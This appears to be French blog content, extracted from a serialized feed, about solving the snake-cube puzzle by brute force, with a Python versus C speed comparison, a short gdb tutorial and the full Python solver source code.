Passons maintenant à ce qui nous intéresse : les performances.
Je fais mes tests sur 3 exemples : un rapide, un moyen et un long.
Le rapide est un 3×3×3, les deux autres sont des 4×4×4. Voici leurs structures respectives :
// (R)apide
{2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2}
// (M)oyen
{2, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 1, 1, 1, 1,
1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3, 1}
// (L)ong
{1, 1, 2, 1, 1, 3, 1, 2, 1, 2, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1 ,1, 2, 2, 1, 1,
1, 1, 1, 2, 3, 1, 1, 1, 3, 1, 2, 1, 1, 1, 1, 1, 1, 1, 1, 1, 3}Je vais comparer, grâce à la commande time, le temps nécessaire pour trouver
une solution :
time ./csnakesolver
Le programme doit s’arrêter après avoir trouvé la première. Les programmes Python et C trouveront forcément les mêmes et dans le même ordre, vu qu’ils implémentent le même algorithme.
Il est intéressant de tester les performances en compilant sans optimisations :
gcc csnakesolver.c -o csnakesolver
et avec :
gcc -O3 csnakesolver.c -o csnakesolver
(au format h:mm:ss.ms)
| Python | C (gcc) |
C (gcc -O3) |
|
|---|---|---|---|
| R | ~0:00:00.000 |
~0:00:00.000 |
~0:00:00.000 |
| M | 0:05:06.903 |
0:00:03.715 (×83) |
0:00:00.826 (×372) |
| L | 3:53:17.012 |
0:05:04.533 (×46) |
0:00:50.681 (×276) |
Le gain est loin d’être négligeable : ×276 dans un cas et ×372 dans l’autre ! Honnêtement, je ne m’y attendais pas. Tout au plus, j’espérais peut-être ×10 ou ×50, sans trop y croire.
Deux différences expliquent ces gains :
Il serait intéressant de savoir dans quelle mesure les gains proviennent de la
compilation et dans quelle mesure ils proviennent de l’abstraction (nous savons
déjà que le facteur de gain entre les programmes compilés avec et sans -O3
provient uniquement de la compilation).
Une approche intéressante pour répondre à cette question serait de compiler le programme Python en code natif (je n’ai encore jamais fait).
Travailler sur un mini-projet personnel permet toujours d’apprendre des choses.
En dehors du langage lui-même, j’ai découvert le
débogueur gdb.
N’ayant toujours utilisé des débogueurs qu’en mode graphique (pour d’autres langages), je m’attendais à ce qu’il soit un peu long à prendre en main. Mais en fait, pas du tout, j’ai été agréablement surpris par sa simplicité d’utilisation.
Avec certains langages, on peut se passer de débogueur pour de petits programmes. C ne fait pas partie de ceux-là, par exemple dans ce cas précis :
$ ./csnakesolver
Erreur de segmentation
Il faut d’abord compiler le programme avec l’option de debug :
gcc -g csnakesolver.c -o csnakesolver
Puis lancer le programme avec le débogueur :
gdb csnakesolver
Un prompt permet d’entrer des commandes :
(gdb)
Pour placer un point d’arrêt à la ligne 215 :
(gdb) break 215
Pour démarrer le programme :
(gdb) run
Le programme s’arrête sur le point d’arrêt :
Breakpoint 1, volume_helper_can_move (vector=...) at csnakesolver.c:215
215 int cursor_position_value = volume_helper.cursor[vector.position];
Pour afficher le bout de code source concerné :
(gdb) l
210 void volume_helper_set_flag(int cursor[], bool value) {
211 * volume_helper_get_flag_pointer(cursor) = value;
212 }
213
214 bool volume_helper_can_move(vector_s vector) {
215 int cursor_position_value = volume_helper.cursor[vector.position];
216 int new_value = cursor_position_value + vector.value;
217 int future_cursor[DIMENSIONS_COUNT];
218 int sign, i, abs_value;
219 if (new_value < 0 || new_value >= dimensions[vector.position]) {
Il est possible de consulter les valeurs des variables (éventuellement en les
formattant) grâce à p (print) :
(gdb) p vector.position
$1 = 0
(gdb) p vector
$2 = {position = 0, value = 1}
Pour afficher des tableaux, il faut indiquer le pointeur et la longueur du tableau à afficher (ici 3) :
(gdb) p * volume_helper.cursor @ 3
$3 = {0, 0, 0}
Pour obtenir la pile d’exécution :
(gdb) bt
#0 volume_helper_can_move (vector=...) at csnakesolver.c:215
#1 0x0000000000401294 in solve_rec (init_cursor=0x7fffffffe210, step=0)
at csnakesolver.c:438
#2 0x0000000000401191 in solve () at csnakesolver.c:407
#3 0x00000000004013de in main () at csnakesolver.c:475
Pour avancer dans le programme, 3 commandes sont indispensables :
c (continue) pour dérouler le programme jusqu’au prochain point
d’arrêt ;n (next) pour exécuter la ligne suivante complètement ;s (step) pour rentrer dans la fonction sur la ligne suivante et
l’exécuter ligne à ligne.Ces commandes essentielles permettent déjà de se sortir de beaucoup de situations.
Un programme écrit en C est plus rapide qu’un programme écrit en Python (ah bon ?), dans une proportion plus importante que je ne l’imaginais. Ce n’est qu’un test sur un exemple particulier, mais il donne déjà une petite idée.
La morale de l’histoire est qu’il faut bien choisir son langage suivant le programme à réaliser. Et pour du calcul brut, évidemment un langage bas niveau est préférable (même si le développement est plus laborieux). Dans certains cas cependant, où les performances brutes ne sont pas cruciales, Python sera préféré à C.
Le code source est disponible sur ce dépôt git :
git clone http://git.rom1v.com/csnakesolver.git
(ou sur github).
Par contre, désolé, cette version est beaucoup moins commentée que la version Python.
";s:7:"dateiso";s:15:"20111018_233300";}s:15:"20110927_231034";a:7:{s:5:"title";s:35:"Résoudre le cube-serpent en Python";s:4:"link";s:65:"http://blog.rom1v.com/2011/09/resoudre-le-cube-serpent-en-python/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=2954";s:7:"pubDate";s:31:"Tue, 27 Sep 2011 21:10:34 +0000";s:11:"description";s:371:"Je me suis amusé à écrire un petit programme en Python qui résout le cube-serpent (ainsi nous pouvons dire qu’un serpent en résout un autre). Mon but était surtout d’apprendre le langage Python, avec un problème intéressant, pas trop compliqué (c’est de la force brute). Il m’a permis de découvrir différents aspects de Python. Je [...]";s:7:"content";s:86016:"Je me suis amusé à écrire un petit programme en Python qui résout le cube-serpent (ainsi nous pouvons dire qu’un serpent en résout un autre).
Mon but était surtout d’apprendre le langage Python, avec un problème intéressant, pas trop compliqué (c’est de la force brute). Il m’a permis de découvrir différents aspects de Python.
Je l’ai également implémenté en C.
L’algorithme proposé résout un cube-serpent généralisé. En effet, il sait trouver des solutions pour obtenir un cube de 3×3×3, mais également d’autres tailles, comme 2×2×2 ou 4×4×4. Il sait également résoudre des volumes non cubiques, comme 2×3×4. Et pour être totalement générique, il fonctionne pour un nombre quelconque de dimensions (2×2, 3×5×4×2, 2×3×2×2×4). Comme ça, vous saurez replier un serpent en hypercube…
Je vais d’abord présenter le problème et décrire l’algorithme de résolution et survoler l’implémentation, puis je vais m’attarder sur certaines fonctionnalités de Python qui m’ont semblé très intéressantes.
Le but est de replier la structure du serpent pour qu’elle forme un volume, par exemple un cube.
La structure peut être vue comme une liste de vecteurs orthogonaux consécutifs, ayant chacun une norme (une longueur). Elle peut donc être caractérisée par la liste des normes de ces vecteurs. Ainsi, la structure du serpent présenté sur Wikipedia est la suivante :
[2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2]
Le volume cible peut être représenté par un graphe, un ensemble de sommets reliés par des arêtes, auquel on ajoute la notion d’orientation dans l’espace (il est important de distinguer les arêtes orthogonales entre elles). En clair, chaque sommet représente une position dans le cube : il y a donc 27 sommets pour un cube 3×3×3.
L’objectif est de trouver un chemin hamiltonien (un chemin qui passe par tous les sommets du graphe une fois et une seule) qui respecte la contrainte de la structure du serpent.
Pour trouver les solutions, il suffit de partir d’un sommet et tenter de placer les vecteurs de la structure consécutivement un à un, en respectant trois contraintes :
Il faut donc placer récursivement tous les vecteurs possibles, c’est-à-dire tous les vecteurs orthogonaux au précédent, qui ne sortent pas du cube et qui ne passent pas par une position déjà occupée. Jusqu’à arriver soit à une impossibilité (plus aucun vecteur ne respecte ces 3 contraintes), soit à une solution (tous les vecteurs sont placés).
Pour ne manquer aucune solution, il faut répéter cet algorithme en démarrant avec chacun des points de départ (donc les 27 sommets pour un cube 3×3×3).
Cet algorithme ne détecte pas les symétries ni les rotations, il donne alors plusieurs solutions « identiques ». Une amélioration serait de les détecter « au plus tôt » et de ne pas les construire.
La version 0.2 gère les symétries et les rotations, pour éviter de calculer plusieurs solutions identiques. Plus d’explications dans ce commentaire et le suivant.
Voici une explication succincte des différentes parties du programme (pour plus d’informations, lire les commentaires dans le code).
Nous avons besoins de vecteurs, mais pas n’importe lesquels : seulement ceux qui ont une et une seule composante non-nulle, c’est-à-dire des multiples des vecteurs de la base. En effet, par exemple en 3 dimensions, la direction de chacun des vecteurs sera soit droite-gauche, soit dans haut-bas, soit avant-arrière, mais jamais en diagonale avant-droite vers arrière-gauche.
Ainsi, au lieu de stocker toutes les composantes, le Vector ne contient que la valeur de la composante non-nulle ainsi que sa position (plus facile à manipuler).
Vector(position, value)
Cette classe définit l’outil que va utiliser le solveur pour noter tout ce qu’il fait : le chemin emprunté et les sommets déjà visités. À chaque fois qu’il place un vecteur dans le volume, il « allume les petites lumières » associées aux sommets visités, et quand il revient en arrière (pour chercher d’autres solutions), il éteint ces petites lumières (par lumières, comprenez booléens).
Cette classe a été ajoutée dans la version 0.2.
Elle définit l’outil que va utiliser le solveur pour n’explorer que les solutions nécessaires, en ignorant les symétries et les rotations.
Le solveur place récursivement les vecteurs de la structure dans toutes les positions possibles (en s’aidant du VolumeHelper) afin de trouver toutes les solutions.
Lors de l’exécution du script, les solutions s’affichent au fur et à mesure :
$ ./snakesolver.py ([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y]) ([0, 0, 0], [2x, z, -x, 2y, z, -2y, x, y, -2z, -2x, z, -y, z, 2y, -2z, 2x, 2z]) ([0, 0, 0], [2y, x, -y, 2z, x, -2z, y, z, -2x, -2y, x, -z, x, 2z, -2x, 2y, 2x]) ...
Considérons la première solution :
([0, 0, 0], [2x, y, -x, 2z, y, -2z, x, z, -2y, -2x, y, -z, y, 2z, -2y, 2x, 2y])
Le point de départ est [0, 0, 0]. On se déplace d’abord de 2 sur l’axe x, puis de 1 sur l’axe y, de -1 sur l’axe x, etc.
Voici la représentation graphique de cette solution :

Maintenant, voici quelques éléments essentiels du langage Python dont je me suis servi pour ce programme.
La compréhension de liste (ou liste en compréhension) est très pratique. Je l’ai utilisée plusieurs fois dans l’algorithme. Je vais détailler deux exemples.
D’abord, dans la classe VolumeHelper :
def all_points(self, index=0):
if index == len(self.dimensions):
return [[]]
return ([h] + t for h in xrange(self.dimensions[index])
for t in self.all_points(index + 1))
La partie mise en gras signifie :
tous les éléments de la forme
[h] + t(l’élémenthen tête de liste suivie de la queue de la liste) pourhcompris entre0etself.dimensions[index](un entier) et pour touttcompris dans les résultats de l’appel récursif
Ça ne vous éclaire pas ? Dit plus simplement :
le résultat de la concaténation de chacun des nombres de
0àn(avecn = self.dimensions[index]) à chacune des listes fournies par l’appel récursif
En fait, cette fonction fournit tous les points possibles pour les dimensions données.
Par exemple, si dimensions = [2, 2], alors le résultat sera :
[[0, 0], [0, 1], [1, 0], [1, 1]]
Pour dimensions = [2, 2, 3], le résultat sera :
[[0, 0, 0], [0, 0, 1], [0, 0, 2], [0, 1, 0], [0, 1, 1], [0, 1, 2], [1, 0, 0], [1, 0, 1], [1, 0, 2], [1, 1, 0], [1, 1, 1], [1, 1, 2]]
Sans compréhension de liste, il serait difficile d’écrire le corps de cette fonction en 3 lignes !
Remarque : la compréhension de liste retourne une liste si elle est définie entre [], alors qu’elle retourne un générateur (un itérateur) si elle est définie entre ().
Second exemple, dans Solver.__solve_rec(…) :
for possible_vector in ( Vector(i, v)
for v in [ norm, -norm ]
for i in xrange(len(self.dimensions))
if i != previous_position ):
Cette partie fournit un ensemble de Vector(i, v), pour toutes les combinaisons de i et de v dans leurs ensembles respectifs, qui vérifient la condition (qui ici ne porte que sur i).
En clair, ici nous récupérons tous les vecteurs possibles, c’est-à-dire orthogonaux au précédent et avec la norme (la longueur) imposée par la structure.
La notion d’itérateur est présente dans beaucoup d’autres langages. Un itérateur retourne un nouvel élément à chaque appel à la méthode next(). En pratique, il est souvent utilisé de manière transparente dans une boucle for variable in iterator :
for i in xrange(10):
print i
xrange(…) retourne un itérateur et fournit les valeurs au fur et à mesure, alors que range(…) crée la liste de toutes les valeurs, qui est ensuite parcourue.
Les expressions yield permettent de créer un itérateur très simplement.
Pour résoudre le cube-serpent, il est préférable d’une part de fournir les solutions au fur et à mesure qu’elles sont trouvées, et d’autre part de pouvoir ne calculer que les k premières solutions.
La première contrainte est souvent résolue grâce à des callbacks : la fonction de calcul prend en paramètre une fonction, qui sera appelée à chaque résultat trouvé, le passant alors en paramètre.
La seconde est plus délicate : elle implique que l’algorithme s’arrête dès qu’il trouve une solution, et que lors d’un prochain appel il reprenne le calcul là où il s’était arrêté, afin calculer les solutions suivantes. Cela nécessite de conserver un état. Pour un itérateur simple comme celui d’une liste, il suffit de stocker l’index courant de parcours, et de l’incrémenter à chaque appel à next(). Gérer manuellement l’itération sur les solutions du cube-serpent semble beaucoup plus complexe, d’autant plus que les solutions sont trouvées dans des appels récursifs.
C’est là qu’interviennent les expressions yield, qui répondent aux deux besoins en même temps. Utiliser une expression yield dans le corps d’une fonction suffit à transformer cette fonction en un générateur. Il n’est donc plus possible de retourner de valeur grâce à return.
Dès que l’expression yield est rencontrée, la valeur est transmise et l’exécution de la fonction s’arrête. Elle reprendra lors du prochain appel.
Afin d’utiliser ce principe pour la génération des solutions, les fonctions SnakeCubeSolver.solve() et SnakeCubeSolver.__solve_rec(…) ne sont donc pas des fonctions ordinaires, mais des générateurs :
if step == len(self.structure):
yield init_cursor, self.volume_helper.path[:]
Grâce à cette implémentation, il est possible de parcourir toutes les solutions :
for solution in solver.solve():
print solution
ou alors de ne générer que les k premières :
max_solutions = 5
solutions = solver.solve()
for i in xrange(max_solutions):
try:
print solutions.next()
except StopIteration:
break
Python supporte aussi les expressions lambda, issues du lambda-calcul, qui permettent d’écrire des fonctions anonymes simplement.
J’utilise cette fonctionnalité une fois dans le programme :
needed_length = reduce(lambda x, y: x * y, self.dimensions) - 1
Il s’agit de la déclaration d’une fonction avec deux arguments, qui retourne leur produit.
La fonction reduce(function, iterable, …) permet d’appliquer cumulativement la fonction aux éléments de l’iterable, de gauche à droite, de manière à réduire l’iterable en une seule valeur.
Même si « ce qui se conçoit bien s’énonce clairement », la fonction reduce est bien plus facile à comprendre qu’à expliquer en quelques mots…
Ici, donc, needed_length contient le produit de tous les éléments de la liste self.dimensions.
La résolution du cube-serpent est intéressante, tout comme sa généralisation à n’importe quel volume de dimensions quelconque. Je me suis arrêté là, mais la détection des symétries et des rotations « au plus tôt » serait une amélioration non négligeable (et pas si évidente).
Débutant tout juste en Python, ce micro-projet m’a permis de beaucoup apprendre, et de découvrir quelques bonnes surprises comme les expressions yield que je ne connaissais pas.
J’espère que ça vous a amusé aussi.
J’ai remplacé le script par sa version 0.2, qui prend en compte les symétries et les rotations.
L’historique des scripts est disponible ici.
Voici le code source. Il est également disponible ici : snakesolver-0.2.1.py.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 | #!/usr/bin/env python # -*- coding: UTF-8 -*- # # snakesolver v0.2.1, 5th october 2011 # # changelog: # 0.2.1 # - get_useful_points() did not work for non-(hyper-)cubic volumes # 0.2 # - give all the solutions ignoring those which are equivalent by symmetry # or rotation # 0.1 # - initial version # # Solver for generalized snake-cube: # http://en.wikipedia.org/wiki/Snake_cube # http://fr.wikipedia.org/wiki/Cube_serpent # # By Romain Vimont (®om) # rom@rom1v.com # snake structure (list of consecutives vector norms) # Wikipedia example SNAKE_STRUCTURE = [2, 1, 1, 2, 1, 2, 1, 1, 2, 2, 1, 1, 1, 2, 2, 2, 2] # size of each dimension of the target volume VOLUME_DIMENSIONS = [3, 3, 3] # first variable names, the next will be k1, k2, k3... VARIABLES = ['x', 'y', 'z', 't'] class Vector: """Base vector, with only one non-zero value.""" def __init__(self, position, value): """Create a new base vector. Examples: - 2 dimensions: Vector(0, 2) means (2, 0) Vector(1, 3) means (0, 3) - 3 dimensions: Vector(0, 2) means (2, 0, 0) Vector(1, 3) means (0, 3, 0) - n dimensions: Vector(k, i) means (0, 0, ..., 0, i at position k, 0, ..., 0, 0) """ self.position = position self.value = value @staticmethod def __get_variable(position): """Returns the variable name associated to position. Variable names are : ['x', 'y', 'z', 't', 'k1', 'k2', 'k3', ...]. """ if position < len(VARIABLES): return VARIABLES[position] return 'k' + str(position - len(VARIABLES) + 1) @staticmethod def __get_canonical(number): """Removes the 1 if number is 1 or -1. Used for formatting …, -3x, -2x, -x, x, 2x, 3x, … """ if number == 1: return '' if number == -1: return '-' return str(number) def __repr__(self): return Vector.__get_canonical(self.value) +\ Vector.__get_variable(self.position) class VolumeHelper: """Volume helper for the solver. A volume must be considered as an "hyper-volume", it can have any number of dimensions. For example, a volume 3x3 is a square, while a volume 3x3x3x3 is an hypercube. Keep a flags volume (1 boolean per "point"), indicating if the case is already filled. """ def __init__(self, dimensions): """Create a volume helper. Keyword arguments: dimensions -- the dimensions of the target volume (e.g. [3, 3, 3]) init_cursor -- the starting position in the volume (e.g. [0, 0, 0]) """ self.dimensions = dimensions self.path = [] self.flags = VolumeHelper.__create_volume_flags(dimensions) self.init_cursor = None def set_cursor(self, cursor): """Change the initial cursor position.""" assert len(self.path) == 0, 'Changing cursor cannot happen in the ' +\ 'middle of a path calculation' if self.init_cursor is not None: # set to False the flag for the old cursor self.__set_flag(self.init_cursor, False) self.init_cursor = cursor[:] self.cursor = self.init_cursor self.__set_flag(self.cursor, True) def __get_flag(self, cursor): """Return the flag for the specified cursor.""" tmp = self.flags # dereference n times for i in xrange(len(cursor)): tmp = tmp[cursor[i]] # after the last iteration, tmp contains the value return tmp def __set_flag(self, cursor, value): """Change the flag for the specified cursor.""" tmp = self.flags for i in xrange(len(cursor) - 1): tmp = tmp[cursor[i]] tmp[cursor[-1]] = value def can_move(self, vector): """Indicates if it is possible to move the cursor by the move defined by the vector.""" # the new vector will change the cursor at position vector.position, # adding vector.value # for example, if the cursor = [1, 2, 0], and vector = Vector(2, 2), # then cursor will take the value [1, 2, 2] cursor_position_value = self.cursor[vector.position] new_value = cursor_position_value + vector.value if new_value < 0 or new_value >= self.dimensions[vector.position]: # outside volume return False # copy the cursor for not modifying the real one future_cursor = self.cursor[:] if vector.value < 0: sign = -1 else: sign = 1 for i in xrange(sign * vector.value): future_cursor[vector.position] += sign # if the flag at future_cursor is already True, then we cannot move # to this case, it is already filled if self.__get_flag(future_cursor): return False return True def move(self, vector): """Move the cursor by the vector, and updates flags and path.""" self.path.append(vector) if vector.value < 0: sign = -1 else: sign = 1 for i in xrange(sign * vector.value): self.cursor[vector.position] += sign self.__set_flag(self.cursor, True) def back(self): """Cancel the last move. Used for the recursivity, for avoiding to create a new flags volume for each recursivity step. """ vector = self.path.pop() if vector.value < 0: sign = -1 else: sign = 1 for i in xrange(sign * vector.value): self.__set_flag(self.cursor, False) self.cursor[vector.position] += -sign @staticmethod def __create_volume_flags(dimensions, index=0): """Create a multi-dimensional array filled with False values.""" if index == len(dimensions) - 1: return [False] * dimensions[-1] return [VolumeHelper.__create_volume_flags(dimensions, index + 1) for i in xrange(dimensions[index])] def __repr__(self): return repr(cube_flags) class SymmetryHelper: """Symmetry helper for the solver. It manages equivalence classes for equivalent points and equivalent pathes by symmetry and/or rotation. As symmetries and rotations only concern permutation and inversion of vector components (positions), then equivalences classes concern dimensions. If x and z axis are equivalent (at a specific step), we could represent the equivalence classes like this: [[0, 2], [1]]. In that case, the solver would only try vectors on x axis, but will ignore z axis (because it is equivalent). Then, after a move, they are not equivalent anymore, then the equivalence classes could be represented by [[0], [1], [2]]. But there is a far better representation for handling quickly the equivalence classes: a simple array, with the same length as dimensions. For each dimension i, the eq_classes array contains the lower index of an equivalent axis: - i if there is no axis with lower index which is equivalent; - j if there is an axis j with a lower index (the lowest) which is equivalent. For example, if x and z are equivalent, then eq_classes is [0, 1, 0]. If y and z are equivalent, then eq_classes is [0, 1, 1]. If x and y are equivalent, then eq_classes is [0, 0, 2]. If x, y and z are equivalent, then eq_classes is [0, 0, 0]. If none are equivalent, then eq_classes is [0, 1, 2]. With this representation, we can easily pick only 1 vector per equivalence class (and ignore the others): the ones with eq_classes[i] == i. eq_classes_path stores the list of eq_classes used, to restore previous ones when calling back(). Equivalence classes at index i are always computed from the equivalence classes at index i-1 (except if i == 0), and are always "as or more splitted". """ def __init__(self, dimensions): self.dimensions = dimensions # eq_classes is always eq_classes_path[-1] self.eq_classes = self.__create_eq_classes_from_dimensions() self.eq_classes_path = [self.eq_classes] def __create_eq_classes_from_dimensions(self): """Compute the first equivalences classes from the dimensions. The dimensions which have the same length are equivalent. """ eq_classes = range(len(self.dimensions)) for i in xrange(1, len(self.dimensions)): value = self.dimensions[i] for j in xrange(0, i): if self.dimensions[j] == value: eq_classes[i] = j break return eq_classes def set_cursor(self, cursor): """Change the initial cursor position.""" # the first item in eq_classes_path is computed from the dimensions # the second item is computed from the init_point # the next items are computed from the next moves (vectors) assert len(self.eq_classes_path) == 1 or\ len(self.eq_classes_path) == 2, 'Changing cursor cannot ' +\ 'happen in the middle of a path calculation' if len(self.eq_classes_path) == 2: # this is not the first initialisation, we have to remove the # eq_classes associated with the previous cursor self.eq_classes_path.pop() self.cursor = cursor # make a copy to not modify the previous one (must be immutable) cursor_eq_classes = self.eq_classes_path[0][:] for i in xrange(len(cursor_eq_classes)): # if the equivalence class must be splitted # i.e. the value for the axis has changed if cursor_eq_classes[i] != i and not self.__eq_cmp( cursor[cursor_eq_classes[i]],\ cursor[i], self.dimensions[i]): old_class = cursor_eq_classes[i] cursor_eq_classes[i] = i # If eq_classes = [0, 0, 0], and we detected that the first # dimension is not equivalent anymore with the two others, # then the new eq_classes will be [0, 1, 1]: # we have to check the next dimensions to change their value for j in xrange(i + 1, len(cursor_eq_classes)): if cursor_eq_classes[j] == old_class: cursor_eq_classes[j] = i self.eq_classes = cursor_eq_classes self.eq_classes_path.append(cursor_eq_classes) # At this point, eq_classes_path contains two items: # - the eq_class at index 0 computed only from the dimensions; # - the eq_class at index 1 computed from the initial point # (which splits the equivalence classes computed from the # dimensions). def get_useful_points(self): """Returns one point from each equivalence class, not more. For example, if dimensions is [3, 3, 3], then useful points are [[0, 0, 0], [0, 0, 1], [0, 1, 1], [1, 1, 1]] which are, respectively: [a corner, an edge, a center, the core (middle of the cube)] All other points are equivalent to one point in this minimal set. """ assert len(self.eq_classes_path) == 1, \ 'When computing useful points, there is only 1 eq_classes, ' +\ 'computed from the dimensions' # start with point 0 for point in self.get_useful_points_rec(0, [0] * len(self.dimensions)): yield point def get_useful_points_rec(self, index, minimums): if index == len(self.dimensions): yield [] else: eq_class = self.eq_classes[index] # We want to remove symmetry-or-rotation-equivalent-points. # The easiest way to achive this goal is to: # - consider only one half of dimension length (+1); # - always use sorted coordinates inside equivalence classes. # # For a dimension of length 3, we consider only the values 0 and 1. # For a dimension of length 4, we consider 0 and 1 too. # For a dimension of length 5, we consider 0, 1 and 2. # # Only use sorted coordinates avoid to check [0, 1] and [1, 0], # because they are equivalent. When building a vector, we keep a # "minimum" value (rather a "minimums" array, one minimum for each # equivalence class) to guarantee this condition. minimum = minimums[eq_class] # h is "head", t is "tail" for h in xrange(minimum, (self.dimensions[index] + 1) / 2): # change the minimum for deeper recursive calls minimums[eq_class] = h for t in self.get_useful_points_rec(index + 1, minimums): yield [h] + t # restore the previous value minimums[eq_class] = minimum def move(self, vector): """Compute the new equivalent classes after a move by the vector.""" assert self.eq_classes[vector.position] == vector.position,\ 'A move must always concern the first vector of an ' +\ 'equivalence class' # create a copy of eq_classes only if it changes, else use the same # instance has_changes = False position = vector.position new_eq_classes = self.eq_classes new_eq_class = None # the axis is now alone in its equivalence class (the vector has moved # the cursor on this axis, but not on the others), we have to update # the others (if any) for i in xrange(position + 1, len(self.eq_classes)): if self.eq_classes[i] == position: if not has_changes: has_changes = True new_eq_classes = self.eq_classes[:] if new_eq_class is None: new_eq_class = i new_eq_classes[i] = new_eq_class self.eq_classes = new_eq_classes self.eq_classes_path.append(new_eq_classes) def back(self): """Cancel the last move.""" self.eq_classes_path.pop() self.eq_classes = self.eq_classes_path[-1] def must_explore(self, i): """Returns True if the vector position is the first in its equivalence class (the others will be ignored, because equivalents)""" return self.eq_classes[i] == i @staticmethod def __eq_cmp(p1, p2, dim): """Comparator which tests if two point are "equivalent" on an axis. Keyword arguments: p1 -- projection of the point 1 on the axis p2 -- projection of the point 2 on the axis dim -- length of dimension associated to the axis p1 and p2 are equivalent if and only if: - v1 == v2 (they are at the same place) - or v1 + v2 + 1 = dim (they are symmetrically opposite) """ return p1 == p2 or p1 + p2 + 1 == dim class SnakeCubeSolver: """Solver.""" def __init__(self, dimensions, structure): """Create a new solver. Keyword arguments: dimensions -- the dimensions of the target volume (for example [3, 3, 3]) structure -- the snake structure """ self.dimensions = dimensions self.structure = structure self.volume_helper = VolumeHelper(dimensions) self.symmetry_helper = SymmetryHelper(dimensions) def solve(self): """Solve the snake. This function returns an iterator: the full list of solutions is not created.""" # the structure length must exactly fill the target volume structure_length = sum(self.structure) needed_length = reduce(lambda x, y: x * y, self.dimensions) - 1 if structure_length != needed_length: print 'Structure has not the right length (' +\ str(structure_length) + ' instead of ' +\ str(needed_length) + ')' else: for init_point in self.symmetry_helper.get_useful_points(): # for each useful initial point (in a minimal set where no # points are equivalent to another) self.volume_helper.set_cursor(init_point) self.symmetry_helper.set_cursor(init_point) # recursively solve and yield the solutions for solution in self.__solve_rec(init_point[:], 0): yield solution def __solve_rec(self, init_cursor, step): """Recursively solve. Keyword arguments: init_cursor -- starting point, only used to put it in found solutions step -- recursivity depth, index of current vector in snake structure """ if step == len(self.structure): # a new solution is found, copy the path and yield the solution yield init_cursor, self.volume_helper.path[:] else: if len(self.volume_helper.path) == 0: # empty path, use an inexistant position (-1), # i != previous_position will always be True previous_position = -1 else: previous_position = self.volume_helper.path[-1].position # get the vector norm for the current step norm = self.structure[step] # iterate over the next possible vectors, i.e. all vectors which # are orthogonal to the previous one for possible_vector in ( Vector(i, v) for v in [norm, -norm] for i in xrange(len(self.dimensions)) if i != previous_position and self.symmetry_helper.must_explore(i)): if self.volume_helper.can_move(possible_vector): # if it is possible to move the cursor by the vector, then # move it self.volume_helper.move(possible_vector) # and recursively solve self.symmetry_helper.move(possible_vector) for solution in self.__solve_rec(init_cursor, step + 1): yield solution # cancel the move to put back the state of the helper self.volume_helper.back() self.symmetry_helper.back() def main(): solver = SnakeCubeSolver(VOLUME_DIMENSIONS, SNAKE_STRUCTURE) # print all solutions for solution in solver.solve(): print solution # print the first solutions # max_solutions = 5 # solutions = solver.solve() # for i in xrange(max_solutions): # try: # print solutions.next() # except StopIteration: # break exit(0) if __name__ == "__main__": main() |

Je me suis amusé à écrire un petit programme en Python qui résout le cube-serpent (ainsi nous pouvons dire qu’un serpent en résout un autre).
Mon but était surtout d’apprendre le langage Python, avec un problème intéressant, pas trop compliqué (c’est de la force brute). Il m’a permis de découvrir différents aspects de Python.
EDIT : Je l’ai également implémenté en C.
L’algorithme proposé résout un cube-serpent généralisé. En effet, il sait trouver des solutions pour obtenir un cube de 3×3×3, mais également d’autres tailles, comme 2×2×2 ou 4×4×4. Il sait également résoudre des volumes non cubiques, comme 2×3×4. Et pour être totalement générique, il fonctionne pour un nombre quelconque de dimensions (2×2, 3×5×4×2, 2×3×2×2×4). Comme ça, vous saurez replier un serpent en hypercube…
Je vais d’abord présenter le problème et décrire l’algorithme de résolution et survoler l’implémentation, puis je vais m’attarder sur certaines fonctionnalités de Python qui m’ont semblé très intéressantes.
Le but est de replier la structure du serpent pour qu’elle forme un volume, par exemple un cube.
La structure peut être vue comme une liste de vecteurs orthogonaux consécutifs, ayant chacun une norme (une longueur). Elle peut donc être caractérisée par la liste des normes de ces vecteurs. Ainsi, la structure du serpent présenté sur Wikipedia est la suivante :

